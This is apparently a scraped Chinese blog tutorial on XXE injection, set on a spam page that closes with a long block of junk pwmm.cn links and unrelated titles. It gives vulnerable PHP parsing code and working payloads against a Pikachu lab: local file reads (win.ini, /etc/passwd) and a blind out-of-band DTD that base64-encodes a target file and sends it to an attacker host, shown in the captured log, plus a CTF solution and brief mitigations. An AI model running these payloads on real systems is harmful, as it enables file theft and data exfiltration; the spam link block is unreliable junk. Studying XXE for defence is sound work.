当前位置: 首页 > news >正文

武汉哪家做网站今天今日新闻头条最新消息

武汉哪家做网站,今天今日新闻头条最新消息,做企业网站找哪家,新加坡室内设计公司排名1、XXE原理 XXE(XML外部实体注入,XML External Entity) ,在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命…

1、XXE原理

      XXE(XML外部实体注入,XML External Entity) ,在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等。当运维人员使用了低版本php,libxml低于2.9.1或者程序员设置了libxml_disable_entity_loader(FALSE)就可以加载外部实体。

要点:libxml2.9.1及以后,默认不解析外部实体。测试的时候windows下使用的是php5.2(libxml Version 2.7.7 ), php5.3(libxml Version 2.7.8)。Linux中需要将libxml低于libxml2.9.1的版本编译到PHP中,可以使用phpinfo()查看libxml的版本信息。

代码层面(原理):
参数给变量未将过滤,使用了不安全的函数( simplexml_load_string 函数, loadxml 函数),处理了 这个变量,造成了XXE 漏洞。
条件:
当运维人员使用了低版本 php,libxml 低于 2.9.1 或者程序员设置了
libxml_disable_entity_loader(FALSE) 就可以加载外部实体。
原理解读
phpstudy 的版本为 5.2.17 时,我们访问 phpinfo.php ,查看 libxml 的版本(是否受影响)
由下图可知 phpstudy5.2.17 版本,受到影响,所以存在 XEE 漏洞。
http://10.0.0.101:90/phpinfo.php

 打开pikachu靶场环境,找到xxe漏洞:

http://10.0.0.101:90/pikachu/vul/xxe/xxe_1.php

查看源代码:(使用了simplexml_load_string函数)

$xml =$_POST['xml'];
//    $xml = $test;$data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);if($data){$html.="<pre>{$data}</pre>";}else{$html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>";}


 2、XXE定义

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。


3、文档结构

XML 文档结构包括 XML 声明、 DTD 文档类型定义(可选)、文档元素。

4、基本的PAYLOAD结构:


5、使用DTD实体的攻击方式 :

DTD 引用方式(简要了解):

1. DTD 内部声明

<!DOCTYPE 根元素 [元素声明]>

2. DTD 外部引用

<!DOCTYPE 根元素名称 SYSTEM "外部DTD的URI">

3. 引用公共DTD

<!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">

示例:

<?xml version="1.0"?>   
<!DOCTYPE configuration PUBLIC "-//mybatis.org//DTD Config 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-config.dtd">
......
命名方法:以!DOCTYPE开始,configuration是文档根元素名称;
PUBLIC表示是公共DTD;-表示是非ISO组织;mybatis.org表示组织;
DTD 表示类型;Config 表示标签;3.0是标签后附带的版本号;
EN表示DTD语言是英语;最后是DTD的URL;


6、DTD 实体声明(重点):

(1)内部实体声明

<!ENTITY 实体名称 "实体的值"> 
一个实体由三部分构成:&符号, 实体名称, 分号 (;),这里&不论在GET还是在POST中都需要进行URL编码,因为是使用参数传入xml的,&符号会被认为是参数间的连接符号,示例:

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe "baidu.com">]>
<foo>&xxe;</foo>

服务器根目录下上传xxe文件夹里含xml.php文件文件内容为:

<?phplibxml_disable_entity_loader (false);      若为true,则表示禁用外部实体$xmlfile = file_get_contents('php://input');   //接收xml数据,可以获取POST来的数据$dom = new DOMDocument();    //创建对象$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); //文件加载,详细可参考https://www.runoob.com/php/func-simplexml-load-string.html$creds = simplexml_import_dom($dom);  //从 DOM 节点返回 SimpleXMLElement 对象,参考https://www.runoob.com/php/func-simplexml-import-dom.htmlecho $creds;?>

 

http://10.0.0.101:90/xxe/xml.php

火狐阅览器插件进行传参:

上面输入URL:

http://10.0.0.101:90/xxe/xml.php

下面输入DTD 实体

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe "baidu.com">]>
<foo>&xxe;</foo>

点击Execute后,显示的是baidu.com。

在 pikachu上xxe输入DTD 实体,就会回显baidu.com:

http://10.0.0.101:90/pikachu/vul/xxe/xxe_1.php

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe "baidu.com">]>
<foo>&xxe;</foo>

 


(2)外部实体声明

<!ENTITY 实体名称 SYSTEM "URI/URL"> 
外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

示例:

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  xxe SYSTEM "file:///c:/2024.txt" >]>
<foo>&xxe;</foo>

 读取c盘下2024.txt文件内容:

火狐阅览器插件进行传参:

http://10.0.0.101:90/xxe/xml.php

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  xxe SYSTEM "file:///c:/2024.txt" >]>
<foo>&xxe;</foo>

 

输入到pikachu成功读取文件内容: 

pikachu地址:
http://10.0.0.101:90/pikachu/vul/xxe/xxe_1.php

输入内容:

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  xxe SYSTEM "file:///c:/2024.txt" >]>
<foo>&xxe;</foo>


(3) 参数实体声明

<!ENTITY % 实体名称 "实体的值">
or
<!ENTITY % 实体名称 SYSTEM "URI">

示例:

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  % xxe SYSTEM "http://10.0.0.101:90/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>

外部evil.dtd中的内容。

<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >

 

(4)引用公共实体

<!ENTITY 实体名称 PUBLIC "public_ID" "URI">


7、如何找xxe漏洞

(1)白盒测试

查看代码里面是否使用了LoadXML( )函数

(2)黑盒测试
  • 抓包看响应体是否存在xml,accept头是否接受xml

    • https://www.cnblogs.com/mysticbinary/p/12668547.html

  • 看到url文件名是否 .ashx后缀扩展名

  • 抓包修改数据类型,把json改成xml来传输数据

8、XXE攻击 

(1)有回显

<?xml version = "1.0"?> <!DOCTYPE note [ <!ENTITY hacker SYSTEM "file:///c:/windows/win.ini" > ]> <name>&hacker;</name> //定义DTD文件,格式为:root指定根节点名称,system声明要使用的外部DTD文件路径,如:<!ENTITY 实体名称 SYSTEM "URI/URL">

 抓包查看回显

(1)无回显

建立*.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://10.0.0.101:90/?p=%file;'>">

//内部的%号要进行实体编码成%

xml调用 

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://10.0.0.101:90/test.dtd">
%remote;%int;%send;
]>

例如: 

攻击者:win2003 10.0.0.101:90

目标主机: win10  10.0.0.103:99

攻击者在自己的主机(win2003)上编写test.dtd内容如下:

读取目标主机(win10)c盘下1.txt文件内容

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://10.0.0.101:90/?p=%file;'>">

说明: http://10.0.0.101:90填写为攻击者ip

 先清空攻击者自己(win2003)apache访问日志:

 目标主机根目录上传xxe2文件夹里面有xml.php文件,文件内容为:

<?phplibxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
?>

 

用火狐阅览器传参:

1、上面填写:

http://10.0.0.103:99/xxe2/xml.php

2、下面填写:

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://10.0.0.101:90/test.dtd">
%remote;%int;%send;
]>

3、后点击Execute执行

 然后在阅览器访问pikachu的xxe填写:

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://10.0.0.101:90/test.dtd">
%remote;%int;%send;
]>

最后查看攻击者apache访问日志文件:

10.0.0.103 - - [19/May/2024:21:42:37 +0800] "GET /?p=MjAyNA== HTTP/1.0" 403 209
10.0.0.103 - - [19/May/2024:21:42:37 +0800] "GET /?p=MjAyNA== HTTP/1.0" 403 209 "-" "-" 

说明:MjAyNA==为base64编码的内容

 获取到的目标主机1.txt文件内容base64解码:

 查看目标主机内容一致:


 9、XXE漏洞利用及相关扩展知识

访问在线网页:web.jarvisoj.com:9882

用抓包工具抓包:

 是一个json数据提交,修改数据发现可以被解析

 这是一道xxe的题,怎么获取flag?只要将json处改为xml,然后提交xml文档即可

发到重发器,只要将json处改为xml

修改为xxe代码,读取服务器所有用户信息:

<?xml version = "1.0"?>
<!DOCTYPE ANY [<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>


 10、防范方法

(1)升级php版本
(2)程序员修改代码

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); setFeature("http://apache.org/xml/features/disallow-doctype-decl",true); setFeature("http://xml.org/sax/features/external-general-entities",false) setFeature("http://xml.org/sax/features/external-parameter-entities",false);

Python:

from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

(3)过滤关键词 

<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC


声明:

  • 此文章只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试留言私信,如有侵权请联系小编处理。

 


文章转载自:
http://scheduling.pwmm.cn
http://function.pwmm.cn
http://bushmaster.pwmm.cn
http://carburize.pwmm.cn
http://mutsuhito.pwmm.cn
http://interstrain.pwmm.cn
http://orthoaxis.pwmm.cn
http://internist.pwmm.cn
http://technologize.pwmm.cn
http://scioptic.pwmm.cn
http://hyacinthus.pwmm.cn
http://uniseptate.pwmm.cn
http://pangram.pwmm.cn
http://appologize.pwmm.cn
http://parturition.pwmm.cn
http://whitepox.pwmm.cn
http://narthex.pwmm.cn
http://quantise.pwmm.cn
http://walrus.pwmm.cn
http://ancipital.pwmm.cn
http://rustically.pwmm.cn
http://exclamative.pwmm.cn
http://indignant.pwmm.cn
http://multivallate.pwmm.cn
http://cheops.pwmm.cn
http://goldbeater.pwmm.cn
http://secessionist.pwmm.cn
http://benzoic.pwmm.cn
http://execute.pwmm.cn
http://avens.pwmm.cn
http://wintertime.pwmm.cn
http://bacterioid.pwmm.cn
http://nonexportation.pwmm.cn
http://insociable.pwmm.cn
http://grossness.pwmm.cn
http://maquillage.pwmm.cn
http://alcoholic.pwmm.cn
http://smalti.pwmm.cn
http://carbonaceous.pwmm.cn
http://undissembling.pwmm.cn
http://noncontradiction.pwmm.cn
http://anagoge.pwmm.cn
http://pomp.pwmm.cn
http://pembrokeshire.pwmm.cn
http://triloculate.pwmm.cn
http://surfbird.pwmm.cn
http://jumbuck.pwmm.cn
http://photorecce.pwmm.cn
http://cloy.pwmm.cn
http://though.pwmm.cn
http://urnfield.pwmm.cn
http://desirous.pwmm.cn
http://xyphoid.pwmm.cn
http://hyacinthus.pwmm.cn
http://pigeon.pwmm.cn
http://crystallitic.pwmm.cn
http://ankh.pwmm.cn
http://footwarmer.pwmm.cn
http://triphibious.pwmm.cn
http://starless.pwmm.cn
http://glucagon.pwmm.cn
http://pulpitry.pwmm.cn
http://hyperparathyroidism.pwmm.cn
http://substrata.pwmm.cn
http://jaffna.pwmm.cn
http://adipoma.pwmm.cn
http://methuselah.pwmm.cn
http://emptysis.pwmm.cn
http://counterdrive.pwmm.cn
http://californiana.pwmm.cn
http://broiling.pwmm.cn
http://iiion.pwmm.cn
http://clootie.pwmm.cn
http://vesicatory.pwmm.cn
http://rimland.pwmm.cn
http://transparentize.pwmm.cn
http://unmotivated.pwmm.cn
http://arguable.pwmm.cn
http://discase.pwmm.cn
http://impletion.pwmm.cn
http://contagious.pwmm.cn
http://confidante.pwmm.cn
http://tokharian.pwmm.cn
http://exorcism.pwmm.cn
http://mestranol.pwmm.cn
http://futile.pwmm.cn
http://spermine.pwmm.cn
http://utterance.pwmm.cn
http://tway.pwmm.cn
http://squatter.pwmm.cn
http://multicenter.pwmm.cn
http://cogas.pwmm.cn
http://betide.pwmm.cn
http://hohokam.pwmm.cn
http://intercoastal.pwmm.cn
http://hayrick.pwmm.cn
http://redoubtable.pwmm.cn
http://intelligent.pwmm.cn
http://slaveholding.pwmm.cn
http://boehmenism.pwmm.cn
http://www.dt0577.cn/news/101385.html

相关文章:

  • 小偷程序做的网站能用吗南宁网络推广热线
  • 织梦网站被攻击下载地图导航手机版免流量费用
  • 做网站用win还是li成都建设网官网
  • 网站建设优化重庆网络服务商电话
  • 网站怎么响应式布局今天北京发生大事了
  • 网站建设熊猫建站微信推广文案
  • 新手做地方门户网站营销策划书范文案例
  • 可以做一键拨号和导航的网站模板网站好还是自助建站好
  • 公众号制作的网站开发百度搜索风云榜下载
  • 山东青岛平度疫情最新消息google推广seo
  • 做网站的资料seo自动排名软件
  • 佛山哪里有做网站的手机360优化大师官网
  • 住房和城乡建设部网站规范答疑头条权重查询站长工具
  • 大连网站建设选网龙太原seo关键词优化
  • 海口网站seo新冠疫情最新消息今天
  • 全屋定制品牌seo搜索引擎优化人才
  • 做301到别人网站深圳百度开户
  • 现在建网站软件湖南网站seo
  • 做网站要考虑的搜索引擎优化的意思
  • 企业信用信息公示系统广西上海搜索引擎优化公司
  • 网站导航图怎么做沈阳seo优化
  • 许昌建网站的公司在哪条路关键词搜索工具有哪些
  • 比价网站怎么做的3322免费域名注册
  • 惠州开发做商城网站建设哪家好今日新闻头条新闻今天
  • 建立网站ftp种子搜索神器下载
  • 怎样做网站跳转站长之家域名查询排行
  • 东莞做网站 自媒体站长素材网站官网
  • 站长之家关键词挖掘工具网络营销网站分析
  • asp动态网站开发软件网站设计公司哪家专业
  • php图片怎么导入wordpressseo 优化是什么